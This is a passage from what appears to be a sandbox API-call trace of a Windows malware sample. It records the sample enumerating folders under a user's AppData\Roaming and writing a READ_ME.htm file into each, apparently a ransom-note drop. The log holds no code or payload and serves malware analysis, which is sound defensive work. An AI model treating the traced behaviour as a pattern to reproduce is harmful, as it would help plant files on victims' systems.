"c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\uproof\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426ba7c0, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426e0920, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0149.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426ba7c0, ftCreationTime.dwHighDateTime=0x1d7b065, ftLastAccessTime.dwLowDateTime=0x426ba7c0, ftLastAccessTime.dwHighDateTime=0x1d7b065, ftLastWriteTime.dwLowDateTime=0x426e0920, ftLastWriteTime.dwHighDateTime=0x1d7b065, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0 [0149.470] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.470] SetErrorMode (uMode=0x0) returned 0x1 [0149.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\READ_ME.htm", lpFilePart=0x0) returned 0x3f [0149.470] SetErrorMode (uMode=0x1) returned 0x0 [0149.471] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\uproof\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.471] GetFileType (hFile=0x1d0) returned 0x1 [0149.471] SetErrorMode (uMode=0x0) returned 0x1 [0149.471] GetFileType (hFile=0x1d0) returned 0x1 [0149.471] WriteFile (in: hFile=0x1d0, lpBuffer=0x2847e68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2847e68*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.473] CloseHandle (hObject=0x1d0) returned 1 [0149.473] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word", lpFilePart=0x0) returned 0x31 [0149.473] SetErrorMode (uMode=0x1) returned 0x0 [0149.473] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\word\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0149.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 0 [0149.474] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.475] SetErrorMode (uMode=0x0) returned 0x1 [0149.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word", lpFilePart=0x0) returned 0x31 [0149.475] SetErrorMode (uMode=0x1) returned 0x0 [0149.475] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\word\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0149.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 0 [0149.476] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.476] SetErrorMode (uMode=0x0) returned 0x1 [0149.476] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", lpFilePart=0x0) returned 0x39 [0149.476] SetErrorMode (uMode=0x1) returned 0x0 [0149.476] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\word\\startup\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.477] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.477] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.477] SetErrorMode (uMode=0x0) returned 0x1 [0149.477] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\STARTUP", lpFilePart=0x0) returned 0x39 [0149.478] SetErrorMode (uMode=0x1) returned 0x0 [0149.478] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\word\\startup\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.478] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.478] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.478] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.479] SetErrorMode (uMode=0x0) returned 0x1 [0149.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\READ_ME.htm", lpFilePart=0x0) returned 0x45 [0149.479] SetErrorMode (uMode=0x1) returned 0x0 [0149.479] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\word\\startup\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.483] GetFileType (hFile=0x1d0) returned 0x1 [0149.483] SetErrorMode (uMode=0x0) returned 0x1 [0149.483] GetFileType (hFile=0x1d0) returned 0x1 [0149.483] WriteFile (in: hFile=0x1d0, lpBuffer=0x284f740*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x284f740*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.484] CloseHandle (hObject=0x1d0) returned 1 [0149.485] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\READ_ME.htm", lpFilePart=0x0) returned 0x3d [0149.485] SetErrorMode (uMode=0x1) returned 0x0 [0149.485] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\word\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.485] GetFileType (hFile=0x1d0) returned 0x1 [0149.486] SetErrorMode (uMode=0x0) returned 0x1 [0149.486] GetFileType (hFile=0x1d0) returned 0x1 [0149.486] WriteFile (in: hFile=0x1d0, lpBuffer=0x2853d00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2853d00*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.487] CloseHandle (hObject=0x1d0) returned 1 [0149.488] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\READ_ME.htm", lpFilePart=0x0) returned 0x38 [0149.488] SetErrorMode (uMode=0x1) returned 0x0 [0149.488] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.489] GetFileType (hFile=0x1d0) returned 0x1 [0149.489] SetErrorMode (uMode=0x0) returned 0x1 [0149.489] GetFileType (hFile=0x1d0) returned 0x1 [0149.489] WriteFile (in: hFile=0x1d0, lpBuffer=0x28582b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28582b0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0149.490] CloseHandle (hObject=0x1d0) returned 1 [0149.491] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun", lpFilePart=0x0) returned 0x26 [0149.491] SetErrorMode (uMode=0x1) returned 0x0 [0149.491] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\sun\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0149.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0149.492] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.492] SetErrorMode (uMode=0x0) returned 0x1 [0149.493] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun", lpFilePart=0x0) returned 0x26 [0149.493] SetErrorMode (uMode=0x1) returned 0x0 [0149.493] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\sun\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0149.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0149.493] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.494] SetErrorMode (uMode=0x0) returned 0x1 [0149.494] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java", lpFilePart=0x0) returned 0x2b [0149.494] SetErrorMode (uMode=0x1) returned 0x0 [0149.494] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\sun\\java\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0149.495] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 0 [0149.495] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.495] SetErrorMode (uMode=0x0) returned 0x1 [0149.495] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java", lpFilePart=0x0) returned 0x2b [0149.495] SetErrorMode (uMode=0x1) returned 0x0 [0149.495] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\sun\\java\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, 